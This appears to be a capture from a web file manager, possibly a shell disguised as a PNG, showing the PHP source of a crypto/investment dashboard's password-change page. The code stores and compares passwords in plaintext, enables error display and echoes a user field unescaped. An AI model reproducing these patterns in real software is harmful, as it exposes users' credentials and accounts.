PNG  IHDRxsBIT|d pHYs+tEXtSoftwarewww.inkscape.org<,tEXtComment File Manager

File Manager

Path: /home/u264723324/domains/cloproglobal.com/public_html/en/account/dash/

Viewing File: change-pass.php

<?php
// Turn on error reporting for debugging
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);

session_start();

// Ensure includes exist
if (!file_exists('includes/connect.php') || !file_exists('includes/functions.php')) {
    die("<h2 style='color:red; padding:20px; font-family:sans-serif;'>CRITICAL ERROR: Cannot find 'includes/connect.php' or 'includes/functions.php'. Please check your file paths.</h2>");
}

require_once('includes/connect.php');
require_once('includes/functions.php');

// Handle Logout
if (isset($_GET['l'])) {
    logout();
    echo "<script>alert('Logged out successfully.'); window.location.href='https://dashboard.com';</script>";
    exit();
}

// Authentication Check
if (!isset($_SESSION['Email'])) {
    echo "<script>
            alert('ERROR: You are not logged in. Session Email is missing. Redirecting to login...');
            window.location.href = '../../../index.php';
          </script>";
    exit();
}

// Generate CSRF Token for Security
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

// Fetch User Data
$user = GetMember1($_SESSION['Email']);
if (!$user) {
    echo "<script>
            alert('ERROR: Could not find user in the database.');
            window.location.href = '../../../index.php';
          </script>";
    exit();
}

// Setup View Variables
$userId = $user['ID'];
$userCapital = floatval($user['Capital']); 
$userProfit = floatval($user['Profit']);
$totalBalance = $userCapital + $userProfit; 

$currencySymbol = htmlspecialchars($user['sym']);
$userName = htmlspecialchars($user['Uname']);
$userFullName = htmlspecialchars($user['full_name']);
$isVerified = isset($user['is_verified']) && $user['is_verified'] == 1;

// Initialize missing variables to prevent warnings
$userReferralCode = isset($user['referral_code']) && !empty($user['referral_code']) ? htmlspecialchars($user['referral_code']) : 'GENERATE_CODE';
$referralRewards = isset($user['referral_rewards']) ? floatval($user['referral_rewards']) : 0.00;

// Create Avatar Initials
$nameParts = explode(' ', $userFullName);
$avatarInitials = '';
if (count($nameParts) >= 2) {
    $avatarInitials = strtoupper(substr($nameParts[0], 0, 1) . substr($nameParts[1], 0, 1));
} else {
    $avatarInitials = strtoupper(substr($userName, 0, 2));
}

// =========================================================
// INITIALIZE TRANSACTION STATS TO PREVENT WARNINGS
// =========================================================
$totalDeposits = 0.00;
$totalWithdrawals = 0.00;
try {
    $stmtStats = $conn->prepare("SELECT type, SUM(amount) FROM transactions WHERE user_id = ? AND status = 'COMPLETED' GROUP BY type");
    if ($stmtStats) {
        $stmtStats->bind_param("i", $userId);
        $stmtStats->execute();
        $resultStats = $stmtStats->get_result();
        while ($row = $resultStats->fetch_row()) {
            if ($row[0] === 'DEPOSIT') $totalDeposits = floatval($row[1]);
            if ($row[0] === 'WITHDRAWAL') $totalWithdrawals = floatval($row[1]);
        }
        $stmtStats->close();
    }
} catch (Exception $e) {
    // Fail silently on frontend
}

// ---------------------------------------------------------
// HANDLE PASSWORD CHANGE SUBMISSION
// ---------------------------------------------------------
$alertMessage = "";
$alertType = ""; // 'success' or 'error'

if (isset($_POST['pass'])) {
    
    // CSRF Protection
    if (!isset($_POST['csrf_token']) || !hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        $alertMessage = "Security validation failed. Please refresh and try again.";
        $alertType = "error";
    } else {
        $emailInput = trim($_POST['email']);
        $oldPass = $_POST['oldpass'];
        $newPass1 = $_POST['password_1'];
        $newPass2 = $_POST['password_2'];

        // Verify it's the correct user changing their own password
        if (strtolower($emailInput) !== strtolower($user['Email'])) {
            $alertMessage = "The email address entered does not match your account.";
            $alertType = "error";
        } 
        // Verify old password matches the database
        elseif ($oldPass !== $user['Password']) {
            $alertMessage = "The old password you entered is incorrect.";
            $alertType = "error";
        } 
        // Verify new passwords match
        elseif ($newPass1 !== $newPass2) {
            $alertMessage = "The new passwords do not match.";
            $alertType = "error";
        } 
        // Verify length of new password
        elseif (strlen($newPass1) < 6) {
            $alertMessage = "Your new password must be at least 6 characters long.";
            $alertType = "error";
        } 
        else {
            // All checks passed. Update the password in the database
            try {
                $stmtUpdate = $conn->prepare("UPDATE members SET Password = ? WHERE ID = ?");
                $stmtUpdate->bind_param("si", $newPass1, $userId);
                $stmtUpdate->execute();
                
                if ($stmtUpdate->affected_rows > 0 || $stmtUpdate->errno === 0) {
                    $alertMessage = "Your password has been successfully changed!";
                    $alertType = "success";
                } else {
                    $alertMessage = "An error occurred while updating your password. Please try again.";
                    $alertType = "error";
                }
                $stmtUpdate->close();
            } catch (Exception $e) {
                $alertMessage = "Database error: Could not complete the request.";
                $alertType = "error";
            }
        }
    }
}
?>
<!DOCTYPE html>
<html lang="en">
   <head>
      <meta charset="UTF-8">
      <meta name="viewport" content="width=device-width, initial-scale=1.0">
      <meta name="csrf-token" content="<?php echo $_SESSION['csrf_token']; ?>">
      <title>Change Password - Your Platform</title>
      <link rel="preconnect" href="https://fonts.googleapis.com">
      <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
      <link href="https://fonts.googleapis.com/css2?family=Manrope:wght@400;500;600;700&display=swap" rel="stylesheet">
      <link rel="stylesheet" href="style.css">
      <link href="https://cdn.jsdelivr.net/npm/remixicon@3.5.0/fonts/remixicon.css" rel="stylesheet">
      <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script>
      <style>
          .verified-link { color: #26A69A; font-size: 0.85rem; font-weight: 500;}
          .not-verified-link { color: #EF5350; font-size: 0.85rem; font-weight: 500;}
          
          /* ========================================= */
          /* MOBILE SIDEBAR MENU CSS                   */
          /* ========================================= */
          @media (max-width: 768px) {
              .sidebar {
                 transition: left 0.3s ease;
              }
              .sidebar.open {
                  left: 0 !important; 
              }
          }

          /* ========================================= */
          /* MODALS AND OVERLAYS CSS                   */
          /* ========================================= */
          .notifications-overlay, .modal-overlay { position: fixed; top: 0; left: 0; width: 100%; height: 100%; z-index: 2000; opacity: 0; visibility: hidden; transition: 0.3s; background: rgba(0,0,0,0.6); display: flex; align-items: center; justify-content: center;}
          .notifications-overlay.open, .modal-overlay.active { opacity: 1; visibility: visible; }
          .notifications-panel { position: fixed; top: 0; right: 0; width: 100%; max-width: 400px; height: 100%; background: #1a1d21; transform: translateX(100%); transition: 0.3s; z-index: 2001; display:flex; flex-direction:column; border-left:1px solid #333;}
          .notifications-overlay.open .notifications-panel { transform: translateX(0); }
          .notifications-header { display: flex; justify-content: space-between; align-items: center; padding: 20px; border-bottom: 1px solid #333; }
          .notifications-header h2 { margin:0; font-size:1.2rem; color:#fff;}
          .panel-btn { background: none; border: none; color: #aaa; cursor: pointer; display: flex; align-items: center; padding: 4px; }
          .panel-btn:hover { color: #fff; }
          .panel-btn svg { width: 24px; height: 24px; }
          .notifications-body, .wallet-body, .wallet-form-body { flex-grow: 1; overflow-y: auto; padding: 20px; }
          
          .notification-bell-wrapper { position: relative; display: inline-flex; }
          .notification-count-badge { position: absolute; top: 0; right: 0; background-color: #e74c3c; color: white; font-size: 11px; font-weight: bold; width: 18px; height: 18px; border-radius: 50%; display: none; align-items: center; justify-content: center; border: 2px solid #101215; transform: translate(40%, -40%);}

          .wallet-item { display: flex; align-items: center; justify-content: space-between; padding: 15px; background: #2c3036; border-radius: 8px; border: 1px solid #444; margin-bottom: 10px; cursor: pointer; transition: 0.2s;}
          .wallet-item:hover { background: #353a41; }
          .modal-input { width: 100%; background-color: #2c2f36; border: 1px solid #444; border-radius: 8px; padding: 14px; color: white; font-size: 16px; box-sizing: border-box; }
          .modal-textarea { width: 100%; background-color: #2c2f36; border: 1px solid #444; border-radius: 8px; padding: 14px; color: white; font-size: 16px; box-sizing: border-box; height: 120px; resize: vertical; }

          /* --- Main Card and Layout Structure --- */
          .settings-card { padding: 24px; background: #1a1d21; border-radius: 12px; border: 1px solid #333; margin-top: 20px;}
          .settings-header { display: flex; flex-direction: column; align-items: center; margin-bottom: 24px; text-align: center;}
          .page-title { font-size: 1.75rem; font-weight: 600; color: #fff; margin: 0;}
          .page-description { color: #8a8d97; margin-top: 8px; max-width: 550px;}
          .settings-content-wrapper { width: 100%; max-width: 500px; margin: 0 auto;}

          /* --- Form Element Styling --- */
          .form-group { margin-bottom: 1.25rem;}
          .form-label { display: block; color: #a0a0b8; font-size: 0.9rem; margin-bottom: 8px;}
          .form-control { width: 100%; background-color: #2c2f36; border: 1px solid #444; border-radius: 8px; padding: 14px; color: white; font-size: 1rem; transition: border-color 0.2s ease, box-shadow 0.2s ease; box-sizing: border-box;}
          .form-control:focus { outline: none; border-color: #31acee; box-shadow: 0 0 0 3px rgba(49, 172, 238, 0.3);}

          /* --- Password Toggle Styling --- */
          .input-group-password { position: relative;}
          .password-toggle-btn { position: absolute; top: 50%; right: 1rem; transform: translateY(-50%); background: none; border: none; color: #8a8d97; cursor: pointer; padding: 0; font-size: 1.3rem;}

          /* --- Checkbox Styling --- */
          .form-check { display: flex; align-items: center; gap: 0.75rem; margin-top: 1.5rem; margin-bottom: 1.5rem;}
          .form-check-input { width: 1.1em; height: 1.1em; accent-color: #31acee;}
          .form-check-label { color: #a0a0b8; font-size: 0.9rem;}

          /* --- Buttons --- */
          .action-buttons { margin-top: 24px;}
          .btn-primary-markets { width: 100%; background-color: #31acee; color: #fff; border: none; padding: 14px; border-radius: 8px; text-align: center; font-weight: 600; cursor: pointer; font-size: 1rem; transition: background-color 0.2s ease;}
          .btn-primary-markets:hover { background-color: #2aa3e0;}

          /* --- Error/Success Messages Styling --- */
          .alert-msg { padding: 1rem; border-radius: 8px; margin-bottom: 1.5rem; font-size: 0.95em; text-align: center; font-weight: 500;}
          .alert-error { background-color: rgba(248, 81, 73, 0.1); color: #f85149; border: 1px solid rgba(248, 81, 73, 0.5);}
          .alert-success { background-color: rgba(38, 166, 154, 0.1); color: #26a69a; border: 1px solid rgba(38, 166, 154, 0.5);}
      </style>
   </head>
   <body class="dashboard-page">
      <div class="dashboard-container">
      
      <aside class="sidebar" id="sidebar">
         <div class="mobile-menu-header">
           <a href="kyc_front.php" class="user-profile-link">
              <div class="user-avatar"><?php echo $avatarInitials; ?></div>
              <div class="user-info">
                <span class="user-name"><?php echo $userName; ?></span>
                <?php if($isVerified): ?>
                    <span class="verify-link" style="color: #26A69A;">Account Verified ✓</span>
                <?php else: ?>
                    <span class="verify-link" style="color: #EF5350;">Verify your account ›</span>
                <?php endif; ?>
              </div>
            </a>
            <div class="menu-controls">
               <button id="close-menu-btn" style="background:none; border:none; color:white; font-size:24px; cursor:pointer;">
                  <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor" width="24" height="24"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg>
               </button>
            </div>
         </div>
         <div class="sidebar-header">
            <svg class="logo" width="32" height="32" viewBox="0 0 32 32" fill="none" xmlns="http://www.w3.org/2000/svg">
               <path d="M16 2.66663L29.3333 29.3333H2.66667L16 2.66663Z" stroke="white" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"/>
               <path d="M11.3333 18.6666L20.6667 18.6666" stroke="white" stroke-width="3" stroke-linecap="round" stroke-linejoin="round"/>
            </svg>
         </div>
         <nav class="sidebar-nav">
            <ul>
               <li class=""><a href="index.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M2.25 12l8.954-8.955c.44-.439 1.152-.439 1.591 0L21.75 12M4.5 9.75v10.125c0 .621.504 1.125 1.125 1.125H9.75v-4.875c0-.621.504-1.125 1.125-1.125h2.25c.621 0 1.125.504 1.125 1.125V21h4.125c.621 0 1.125-.504 1.125-1.125V9.75M8.25 21h7.5" /></svg>Dashboard</a></li>
               <li class=""><a href="deposit.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 9v6m3-3H9m12 0a9 9 0 11-18 0 9 9 0 0118 0z" /></svg>Deposit</a></li>
               <li class=""><a href="withdraw.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15 12H9m12 0a9 9 0 11-18 0 9 9 0 0118 0z" /></svg>Withdraw</a></li>
               <li class=""><a href="assets.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M2.25 8.25h19.5M2.25 9h19.5m-16.5 5.25h6m-6 2.25h3m-3.75 3h15a2.25 2.25 0 002.25-2.25V6.75A2.25 2.25 0 0019.5 4.5h-15a2.25 2.25 0 00-2.25 2.25v10.5A2.25 2.25 0 004.5 21z" /></svg>Assets</a></li>
               <li class=""><a href="markets.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v6h4.5m4.5 0a9 9 0 11-18 0 9 9 0 0118 0z" /></svg>Markets</a></li> 
               <li class=""><a href="mining.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M5.25 14.25h13.5m-13.5 0a3 3 0 01-3-3V7.5a3 3 0 013-3h13.5a3 3 0 013 3v3.75a3 3 0 01-3 3m-13.5 0h13.5m-13.5 0a3 3 0 00-3 3v.75a3 3 0 003 3h13.5a3 3 0 003-3v-.75a3 3 0 00-3-3m-3.75-9H15m-3.75 3h3.75" /></svg>Mining</a></li>
               <li class=""><a href="trade.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M2.25 18L9 11.25l4.306 4.307a11.95 11.95 0 015.814-5.519l2.74-1.22m0 0l-5.94-2.28m5.94 2.28l-2.28 5.941" /></svg>Trade</a></li>
               <li class=""><a href="realestate.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M3.75 21h16.5M4.5 3h15M5.25 3v18m13.5-18v18M9 6.75h1.5m-1.5 3h1.5m-1.5 3h1.5m3-6h1.5m-1.5 3h1.5m-1.5 3h1.5M9 21v-3.375c0-.621.504-1.125 1.125-1.125h3.75c.621 0 1.125.504 1.125 1.125V21" /></svg>Real Estate</a></li>
               <li class=""><a href="subscribe.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M10.5 6h9.75M10.5 6a1.5 1.5 0 11-3 0m3 0a1.5 1.5 0 10-3 0M3.75 6H7.5m3 12h9.75m-9.75 0a1.5 1.5 0 01-3 0m3 0a1.5 1.5 0 00-3 0m-3.75 0H7.5m9-6h3.75m-3.75 0a1.5 1.5 0 01-3 0m3 0a1.5 1.5 0 00-3 0m-9.75 0h9.75" /></svg>Subscribe</a></li>
               <li class=""><a href="signals.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M8.288 15.038a5.25 5.25 0 017.424 0M5.106 11.856c3.807-3.808 9.98-3.808 13.788 0M1.924 8.674c5.565-5.565 14.587-5.565 20.152 0M12.53 18.22l-.53.53-.53-.53a.75.75 0 011.06 0z" /></svg>Signals</a></li>
               <li class=""><a href="stake.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M16.023 9.348h4.992v-.001M2.985 19.644v-4.992m0 0h4.992m-4.993 0l3.181 3.183a8.25 8.25 0 0011.667 0l3.181-3.183m-4.991-2.691L7.98 12.01M16.023 9.348a8.25 8.25 0 01-11.667 0L2.985 7.981m13.038 0l-3.181-3.182m0 0a8.25 8.25 0 0111.667 0l3.181 3.182" /></svg>Stake</a></li>
               <li><a href="#" id="open-wallet-btn"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M13.19 8.688a4.5 4.5 0 011.242 7.244l-4.5 4.5a4.5 4.5 0 01-6.364-6.364l1.757-1.757m13.35-.622l1.757-1.757a4.5 4.5 0 00-6.364-6.364l-4.5 4.5a4.5 4.5 0 001.242 7.244" /></svg>Connect wallet</a></li>
               <li class=""><a href="copytrading.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 17.25v3.375c0 .621-.504 1.125-1.125 1.125h-9.75a1.125 1.125 0 01-1.125-1.125V7.875c0-.621.504-1.125 1.125-1.125H6.75a9.06 9.06 0 011.5.124m7.5 10.376h3.375c.621 0 1.125-.504 1.125-1.125V11.25c0-4.46-3.243-8.161-7.5-8.876a9.06 9.06 0 00-1.5-.124H9.375c-.621 0-1.125.504-1.125 1.125v3.5m7.5 10.375H9.375a1.125 1.125 0 01-1.125-1.125v-9.25m12 6.625v-1.875a3.375 3.375 0 00-3.375-3.375h-1.5a1.125 1.125 0 01-1.125-1.125v-1.5a3.375 3.375 0 00-3.375-3.375H9.75" /></svg>Copy trading</a></li>
               <li class="active"><a href="change-pass.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9.594 3.94c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 0110.563 10.563c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 01-10.563 10.563c-.542.09-1.007.56-1.11 1.11a12.007 12.007 0 01-10.563-10.563c-.09.542-.56 1.007-1.11 1.11a12.007 12.007 0 0110.563-10.563z" /><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 10.5a3.75 3.75 0 11-7.5 0 3.75 3.75 0 017.5 0z" /></svg>Password</a></li>
               <li><a href="logout.php" id="logout-btn"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 6v6m0 0v6m0-6h6m-6 0H6" /><circle cx="12" cy="12" r="9" stroke-width="1.5" stroke="currentColor" fill="none" /></svg>Logout</a></li>
            </ul>
         </nav>
         <div class="sidebar-footer">
            <a href="kyc_front.php" class="user-profile-link">
              <div class="user-avatar"><?php echo $avatarInitials; ?></div>
              <div class="user-info">
                <span class="user-name"><?php echo $userName; ?></span>
                <?php if($isVerified): ?>
                    <span class="verify-link" style="color: #26A69A;">Account Verified ✓</span>
                <?php else: ?>
                    <span class="verify-link" style="color: #EF5350;">Verify your account ›</span>
                <?php endif; ?>
              </div>
            </a>
         </div>
      </aside>
      
      <div class="main-content">
         <header class="main-header">
            <button class="hamburger-menu" id="hamburger-menu" style="background:none; border:none; color:white; font-size:24px; cursor:pointer;">
               <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" width="24" height="24">
                  <path stroke-linecap="round" stroke-linejoin="round" d="M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5" />
               </svg>
            </button>
            <div class="header-title">
               <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="icon">
                  <path stroke-linecap="round" stroke-linejoin="round" d="M9.594 3.94c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 0110.563 10.563c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 01-10.563 10.563c-.542.09-1.007.56-1.11 1.11a12.007 12.007 0 01-10.563-10.563c-.09.542-.56 1.007-1.11 1.11a12.007 12.007 0 0110.563-10.563z" />
                  <path stroke-linecap="round" stroke-linejoin="round" d="M15.75 10.5a3.75 3.75 0 11-7.5 0 3.75 3.75 0 017.5 0z" />
               </svg>
               <h1>Password</h1>
            </div>
            <div class="header-controls">
               <button class="balance-selector" id="balance-selector-btn">
                  <span><?php echo $currencySymbol; ?></span> <span id="user-balance-display"><?php echo number_format($totalBalance, 2); ?></span><span class="real-text">REAL</span>
               </button>
               
               <div class="notification-bell-wrapper">
                   <button class="icon-btn" id="open-notifications-btn">
                       <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M14.857 17.082a23.848 23.848 0 005.454-1.31A8.967 8.967 0 0118 9.75v-.7V9A6 6 0 006 9v.75a8.967 8.967 0 01-2.312 6.022c1.733.64 3.56 1.085 5.455 1.31m5.714 0a24.255 24.255 0 01-5.714 0m5.714 0a3 3 0 11-5.714 0" /></svg>
                   </button>
                   <span id="notification-count-badge" class="notification-count-badge" style="display:none;">0</span>
               </div>
               
               <div class="user-avatar header-avatar" id="user-menu-btn"><?php echo $avatarInitials; ?></div>
               
               <div class="user-account-panel" id="user-account-panel">
                  <header class="account-panel-header">
                     <div class="account-panel-title-section"><button class="panel-btn js-close-account-panel"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button><h2>Your account</h2></div>
                     <button class="panel-btn js-close-account-panel"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
                  </header>
                  <div class="account-panel-body">
                     <div class="account-panel-main">
                        <a href="kyc_front.php" class="user-profile-link">
                           <div class="user-avatar"><?php echo $avatarInitials; ?></div>
                           <div class="user-info">
                              <span class="user-name"><?php echo $userName; ?></span>
                              <?php if($isVerified): ?>
                                  <span class="verify-link" style="color: #26A69A;">Account Verified ✓</span>
                              <?php else: ?>
                                  <span class="verify-link" style="color: #EF5350;">Verify your account ›</span>
                              <?php endif; ?>
                           </div>
                        </a>
                        <div class="account-summary">
                           <h3>Account Summary</h3>
                           <div class="summary-row">
                               <span class="summary-label">Total Deposits</span>
                               <span class="summary-value"><?php echo $currencySymbol; ?> <?php echo number_format($totalDeposits, 2); ?></span>
                           </div>
                           <div class="summary-row">
                               <span class="summary-label">Total Withdrawals</span>
                               <span class="summary-value"><?php echo $currencySymbol; ?> <?php echo number_format($totalWithdrawals, 2); ?></span>
                           </div>
                        </div>
                     </div>
                     <div class="account-panel-actions">
                        <ul class="actions-list-desktop">
                           <li><a href="deposit.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M12 4.5v15m7.5-7.5h-15" /></svg>Add funds</a></li>
                           <li><a href="withdraw.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M19.5 12h-15" /></svg>Withdraw</a></li>
                           <li><a href="change-pass.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M9.594 3.94c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 0110.563 10.563c.09-.542.56-1.007 1.11-1.11a12.007 12.007 0 01-10.563 10.563c-.542.09-1.007.56-1.11 1.11a12.007 12.007 0 01-10.563-10.563c-.09.542-.56 1.007-1.11 1.11a12.007 12.007 0 0110.563-10.563z" /><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 10.5a3.75 3.75 0 11-7.5 0 3.75 3.75 0 017.5 0z" /></svg>Password</a></li>
                           <li class="logout-item"><a href="logout.php"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 9V5.25A2.25 2.25 0 0013.5 3h-6a2.25 2.25 0 00-2.25 2.25v13.5A2.25 2.25 0 007.5 21h6a2.25 2.25 0 002.25-2.25V15m3 0l3-3m0 0l-3-3m3 3H9" /></svg>Log out</a></li>
                        </ul>
                     </div>
                  </div>
               </div>
            </div>
         </header>

         <main class="">
            <section class="card settings-card">
                <div class="settings-header">
                    <h3 class="page-title">Change Your Password</h3>
                    <p class="page-description">
                        Update your password for enhanced account security. Please do not share your new password with anyone.
                    </p>
                </div>
                
                <div class="settings-content-wrapper">
                    
                    <?php if(!empty($alertMessage)): ?>
                        <div class="alert-msg <?php echo $alertType === 'success' ? 'alert-success' : 'alert-error'; ?>">
                            <?php echo $alertMessage; ?>
                        </div>
                    <?php endif; ?>

                    <form method="POST" action="change-pass.php">
                        <input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
                        
                      <div class="form-group">
    <label class="form-label" for="email">Email Address</label>
    <input type="email" class="form-control" id="email" name="email" value="<?php echo $user['Email']; ?>" readonly>
</div>
                        <div class="form-group">
                            <label class="form-label" for="oldpass">Old Password</label>
                            <div class="input-group-password">
                                <input type="password" class="form-control" id="oldpass" name="oldpass" placeholder="Enter old password" required>
                                <button class="password-toggle-btn" type="button" onclick="togglePasswordVisibility('oldpass', this)"><i class="ri-eye-off-line"></i></button>
                            </div>
                        </div>
                        <div class="form-group">
                            <label class="form-label" for="password_1">New Password</label>
                            <div class="input-group-password">
                                <input type="password" class="form-control" id="password_1" name="password_1" placeholder="Enter new password" required>
                                <button class="password-toggle-btn" type="button" onclick="togglePasswordVisibility('password_1', this)"><i class="ri-eye-off-line"></i></button>
                            </div>
                        </div>                                
                        <div class="form-group">
                            <label class="form-label" for="password_2">Confirm New Password</label>
                            <div class="input-group-password">
                                <input type="password" class="form-control" id="password_2" name="password_2" placeholder="Re-enter new password" required>
                                <button class="password-toggle-btn" type="button" onclick="togglePasswordVisibility('password_2', this)"><i class="ri-eye-off-line"></i></button>
                            </div>
                        </div>
                        <div class="form-check">
                            <input class="form-check-input" type="checkbox" id="confirmCheck" required>
                            <label class="form-check-label" for="confirmCheck">I confirm that I want to change my password.</label>
                        </div>
                        <div class="action-buttons">
                            <button class="btn-primary-markets" name="pass" type="submit">Change Password</button>
                        </div>
                    </form>
                </div>
            </section>
         </main>
      </div>

      <div class="notifications-overlay" id="notifications-overlay">
          <div class="notifications-backdrop js-close-notifications" style="position:absolute; width:100%; height:100%;"></div>
          <div class="notifications-panel" id="notifications-panel">
              <header class="notifications-header">
                  <div class="notifications-title-section" style="display:flex; align-items:center;">
                      <button class="panel-btn js-close-notifications"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
                      <h2>Notifications</h2>
                  </div>
                  <button class="panel-btn js-close-notifications"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
              </header>
              <div class="notifications-body">
                  <div class="empty-state" id="empty-state">
                      <p style="color:#aaa; text-align:center; padding:20px;">No notifications yet.</p>
                  </div>
                  <div id="notification-list" class="notification-list"></div>
              </div>
          </div>
      </div>

      <div class="notifications-overlay" id="wallet-overlay">
          <div class="notifications-backdrop js-close-wallet" style="position:absolute; width:100%; height:100%;"></div>
          <div class="notifications-panel" id="wallet-panel">
             <header class="notifications-header">
                <div class="notifications-title-section" style="display:flex; align-items:center;">
                    <button class="panel-btn js-close-wallet"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M15.75 19.5L8.25 12l7.5-7.5" /></svg></button>
                    <h2>Connect wallet</h2>
                </div>
                <button class="panel-btn js-close-wallet"><svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="2" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M6 18L18 6M6 6l12 12" /></svg></button>
             </header>
             <div class="wallet-body" style="padding: 24px;">
                <h3 style="margin-top:0; color:#fff;">Connect your wallet</h3>
                <div class="wallet-list" style="margin-top:20px; display:flex; flex-direction:column; gap:10px;">
                   <div class="wallet-item">
                       <div style="display:flex; align-items:center; gap:10px;"><img src="https://assets.streamlinehq.com/image/private/w_300,h_300,ar_1/f_auto/v1/icons/vectors/bnb-2c9adc7qw85po528q8y3b.png/bnb-tss7lyzvhxyjfc9ivae0l.png?_a=DATAg1AAZAA0" style="width:30px; height:30px;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Binance</span></div>
                       <input type="checkbox" class="toggle-checkbox">
                   </div>
                   <div class="wallet-item">
                       <div style="display:flex; align-items:center; gap:10px;"><img src="https://upload.wikimedia.org/wikipedia/commons/thumb/3/36/MetaMask_Fox.svg/512px-MetaMask_Fox.svg.png" style="width:30px; height:30px;"> <span class="wallet-name" style="font-weight:bold; color:#fff;">Metamask</span></div>
                       <input type="checkbox" class="toggle-checkbox">
                   </div>
                </div>
             </div>
          </div>
      </div>

